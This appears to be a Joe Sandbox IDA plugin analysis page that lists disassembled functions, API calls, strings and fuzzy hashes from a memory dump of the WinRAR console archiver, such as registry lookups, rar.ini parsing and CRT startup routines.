Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14cfdc3b074ce30e7abac2d939f6e9d98027489a61441e2478d82fe2504e34b6
Instruction ID: 5f6c7d3d09310c780e17af044cd92b1eb4f197bbe2c99a83477e626fcecbefa6
Opcode Fuzzy Hash: 14cfdc3b074ce30e7abac2d939f6e9d98027489a61441e2478d82fe2504e34b6
Instruction Fuzzy Hash: DF71CF32B15A8586D744DF29E4052ED3391FB88B98F044139DF6DCB3D9EF79A0468790

Function 00007FF6FAA63EA8 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 491
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF6FAA63EF9
GetModuleFileNameW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6FAA63E8F,?,00007FF6FAA57E90), ref: 00007FF6FAA63F14
snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA643C6

Strings

DIRECTION, xrefs: 00007FF6FAA64243
\, xrefs: 00007FF6FAA64519
RTL, xrefs: 00007FF6FAA6437A
*messages***, xrefs: 00007FF6FAA64080
MENU, xrefs: 00007FF6FAA64235
DIALOG, xrefs: 00007FF6FAA64227
*messages***, xrefs: 00007FF6FAA64050
@%s:, xrefs: 00007FF6FAA643A5
$%s:, xrefs: 00007FF6FAA6439E
STRINGS, xrefs: 00007FF6FAA64219
,, xrefs: 00007FF6FAA643FB

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: FileModuleNamesnprintfwcschr
String ID: ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS$\
API String ID: 602362809-1645646101
Opcode ID: 13040d61f0e7da43208126d1082a5dded3eea02b21a4f98514b48b8c6faaa874
Instruction ID: 9906367a6f9fc15994f231b8bf9879114f345c68756bf418e98d165d7d60c426
Opcode Fuzzy Hash: 13040d61f0e7da43208126d1082a5dded3eea02b21a4f98514b48b8c6faaa874
Instruction Fuzzy Hash: E922E432A1868286EB20DB19D5402F92761FF46784F805175EA6EC77D9FF3CE94ACB40

Function 00007FF6FAA34FD0 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 293
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF6FAA35043
wcschr.LIBVCRUNTIME ref: 00007FF6FAA35129

Strings

stdin, xrefs: 00007FF6FAA352C2
.rar, xrefs: 00007FF6FAA350E6
AFUMD, xrefs: 00007FF6FAA35122
FUADPXETK, xrefs: 00007FF6FAA3503C
.rar, xrefs: 00007FF6FAA3508E
.part, xrefs: 00007FF6FAA350A5

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: wcschr
String ID: .part$.rar$.rar$AFUMD$FUADPXETK$stdin
API String ID: 1497570035-1281034975
Opcode ID: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction ID: b99889502454f512b3e7ee31c3a3e3a5ea5264d9b2d73083dc49dc29d5b65b2d
Opcode Fuzzy Hash: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction Fuzzy Hash: DCC1A961A1C78358EB65AF29C4521FC1355EF46784F4441B1DABECA6DAFE2EE60BC300

Function 00007FF6FAA67F24 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6FAA6805C

Part of subcall function 00007FF6FAA6B3F0: GetSystemDirectoryW.KERNEL32(00000000,00007FF6FAA67F72), ref: 00007FF6FAA6B41E

GetProcAddressForCaller.KERNELBASE ref: 00007FF6FAA67F88
GetProcAddress.KERNEL32 ref: 00007FF6FAA67FA3

Strings

CryptProtectMemory failed, xrefs: 00007FF6FAA68009
CryptUnprotectMemory, xrefs: 00007FF6FAA67F95
CryptProtectMemory, xrefs: 00007FF6FAA67F7E
Crypt32.dll, xrefs: 00007FF6FAA67F66
CryptUnprotectMemory failed, xrefs: 00007FF6FAA68053

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: AddressProc$CallerCurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 1389829785-2207617598
Opcode ID: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction ID: 69c7c7a44517c66247d8e42866342d95f5a045ab72b89ebc59f63a7d976f539d
Opcode Fuzzy Hash: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction Fuzzy Hash: 81417820B08B8281FB42CB1AA90087567A1AF4ABD4F0911B1CC7D877E8FF7DE05B8700

Function 00007FF6FAA7B0FC Relevance: 13.6, APIs: 9, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF6FAA7B110

Part of subcall function 00007FF6FAA7AA8C: __isa_available_init.LIBCMT ref: 00007FF6FAA7AAA9
Part of subcall function 00007FF6FAA7AA8C: __vcrt_initialize.LIBVCRUNTIME ref: 00007FF6FAA7AAAE

__scrt_fastfail.LIBCMT ref: 00007FF6FAA7B11E

Part of subcall function 00007FF6FAA7B52C: IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6FAA7B548
Part of subcall function 00007FF6FAA7B52C: RtlCaptureContext.KERNEL32 ref: 00007FF6FAA7B571
Part of subcall function 00007FF6FAA7B52C: RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6FAA7B58B
Part of subcall function 00007FF6FAA7B52C: RtlVirtualUnwind.KERNEL32 ref: 00007FF6FAA7B5CC
Part of subcall function 00007FF6FAA7B52C: IsDebuggerPresent.KERNEL32 ref: 00007FF6FAA7B620
Part of subcall function 00007FF6FAA7B52C: SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6FAA7B641
Part of subcall function 00007FF6FAA7B52C: UnhandledExceptionFilter.KERNEL32 ref: 00007FF6FAA7B64C

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6FAA7B12C
__scrt_fastfail.LIBCMT ref: 00007FF6FAA7B143
__scrt_release_startup_lock.LIBCMT ref: 00007FF6FAA7B1A0
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF6FAA7B1B6
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF6FAA7B1E6
__scrt_is_managed_app.LIBCMT ref: 00007FF6FAA7B21B
__scrt_uninitialize_crt.LIBCMT ref: 00007FF6FAA7B239

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled__scrt_fastfail__scrt_is_nonwritable_in_current_image$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual__isa_available_init__scrt_acquire_startup_lock__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt__vcrt_initialize
String ID:
API String ID: 552178382-0
Opcode ID: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction ID: be9e56524e6ea4d9ff608b3cae04fe54619bd2d9bbef5e3a56f6ca747208dbce
Opcode Fuzzy Hash: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction Fuzzy Hash: CC314F71E0D28346FB14AB25E5113BA1391AF45784F4454B8EA6EC76DBFE2DE80F8350

Function 00007FF6FAA64774 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,00007FF6FAA6495D,?,?,?,00007FF6FAA57E7D), ref: 00007FF6FAA647DB
RegQueryValueExW.ADVAPI32(?,?,?,?,?,00007FF6FAA6495D,?,?,?,00007FF6FAA57E7D), ref: 00007FF6FAA64831
ExpandEnvironmentStringsW.KERNEL32(?,?,?,?,?,00007FF6FAA6495D,?,?,?,00007FF6FAA57E7D), ref: 00007FF6FAA64853
RegCloseKey.ADVAPI32(?,?,?,?,?,00007FF6FAA6495D,?,?,?,00007FF6FAA57E7D), ref: 00007FF6FAA648A6

Strings

Software\WinRAR\General, xrefs: 00007FF6FAA647CD
LanguageFolder, xrefs: 00007FF6FAA64806

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CloseEnvironmentExpandOpenQueryStringsValue
String ID: LanguageFolder$Software\WinRAR\General
API String ID: 1800380464-3408810217
Opcode ID: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
Instruction ID: fecb0417baeee7dc7733a39b8c233f4f2a9a2bce7c8833df49e67ea4eb222fe8
Opcode Fuzzy Hash: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
Instruction Fuzzy Hash: D931D022728A8145EB60DB25E8002BA6361FF897D4F401271EE6D87BD9FF6CD14ACB00

Function 00007FF6FAA54398 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,00000800,00000000,00000000,00007FF6FAA538CB,?,?,?,00007FF6FAA541EC), ref: 00007FF6FAA543D1
RegQueryValueExW.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF6FAA538CB,?,?,?,00007FF6FAA541EC), ref: 00007FF6FAA54402
RegCloseKey.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF6FAA538CB,?,?,?,00007FF6FAA541EC), ref: 00007FF6FAA5440D
GetModuleFileNameW.KERNEL32(?,?,?,?,00000800,00000000,00000000,00007FF6FAA538CB,?,?,?,00007FF6FAA541EC), ref: 00007FF6FAA5443E

Strings

Software\WinRAR\Paths, xrefs: 00007FF6FAA543BC
AppData, xrefs: 00007FF6FAA543F7

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CloseFileModuleNameOpenQueryValue
String ID: AppData$Software\WinRAR\Paths
API String ID: 3617018055-3415417297
Opcode ID: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
Instruction ID: ca4801e8609480b4d5f209b227fb044d02645f31fd1b70e871a7a79d6e8d519c
Opcode Fuzzy Hash: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
Instruction Fuzzy Hash: 12117F22A18B4286EB909F26F5005A97361FF88BC4F445171EE6E87BD9EF3DD01AC704

Function 00007FF6FAA27A5B Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H9, xrefs: 00007FF6FAA27BF3

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID:
String ID: H9
API String ID: 0-2207570329
Opcode ID: 0388c903026e2033e6aa999372b63832fc175bbcd0170491359c0219acaf1d27
Instruction ID: 7db19bb5408cd4db06d1899e062c8219018f035c593aa9f92cf56be554915848
Opcode Fuzzy Hash: 0388c903026e2033e6aa999372b63832fc175bbcd0170491359c0219acaf1d27
Instruction Fuzzy Hash: A3E1CF62A08A9285EB11DF26E048BFD23E5EB4678CF454475DE1D837C5EF38E66AC700

Function 00007FF6FAA42574 Relevance: 7.6, APIs: 5, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 00007FF6FAA425B0
WriteFile.KERNEL32 ref: 00007FF6FAA425F9
WriteFile.KERNELBASE ref: 00007FF6FAA4262E
GetLastError.KERNEL32 ref: 00007FF6FAA42658
SetLastError.KERNEL32 ref: 00007FF6FAA42689

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ErrorFileLastWrite$Handle
String ID:
API String ID: 3350704910-0
Opcode ID: ccd0c3e83433efd0ca407849e79df603d5f0c90f747e6cdc6739dd31fcb0c28b
Instruction ID: 77b7c104f0778c6e46c79abec2ef483c7d29c9d3d8ed14f8e5dda1f62ab0af4b
Opcode Fuzzy Hash: ccd0c3e83433efd0ca407849e79df603d5f0c90f747e6cdc6739dd31fcb0c28b
Instruction Fuzzy Hash: 8C51C622A0864187EB24DF25E51437AB7A0FB48B84F540175EE6E87AE4EF3DE54FC600

Function 00007FF6FAA41E80 Relevance: 7.6, APIs: 5, Instructions: 127
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF6FAA41F4A
GetLastError.KERNEL32 ref: 00007FF6FAA41F59
CreateFileW.KERNELBASE ref: 00007FF6FAA41F99
GetLastError.KERNEL32 ref: 00007FF6FAA41FA2
SetFileTime.KERNEL32 ref: 00007FF6FAA41FF1

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
Instruction ID: f2abd5f558c0dd06d9bce53c9988fa0f3e3dcc2bab249ef81c197445d21afee5
Opcode Fuzzy Hash: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
Instruction Fuzzy Hash: AF413773A1868146FB618F24E5057AA6A90BB45BB8F100335EE7D836D8FF7DC44B8B40

Function 00007FF6FAA36AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA36C13

Strings

switches_%ls=, xrefs: 00007FF6FAA36C03
rar.ini, xrefs: 00007FF6FAA36B37
switches=, xrefs: 00007FF6FAA36B80

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: swprintf
String ID: rar.ini$switches=$switches_%ls=
API String ID: 233258989-2235180025
Opcode ID: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction ID: 0d8f49573899d37e6796cbf07233e01b243c9e0cfc37ce8d3223156480ec0639
Opcode Fuzzy Hash: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction Fuzzy Hash: E041A022A1868281FB50EF25D8111BA23A0FF557A4F401175EABD877D9FF3DD55AC700

Function 00007FF6FAA57E20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FAA6B470: GetModuleHandleW.KERNEL32 ref: 00007FF6FAA6B488
Part of subcall function 00007FF6FAA6B470: GetProcAddress.KERNEL32 ref: 00007FF6FAA6B4A0
Part of subcall function 00007FF6FAA6B470: GetProcAddress.KERNEL32 ref: 00007FF6FAA6B4D5

Part of subcall function 00007FF6FAA37A68: setbuf.LIBCMT ref: 00007FF6FAA37A7B
Part of subcall function 00007FF6FAA37A68: setbuf.LIBCMT ref: 00007FF6FAA37A8F

SetErrorMode.KERNELBASE ref: 00007FF6FAA57E5D
GetModuleHandleW.KERNEL32 ref: 00007FF6FAA57E65

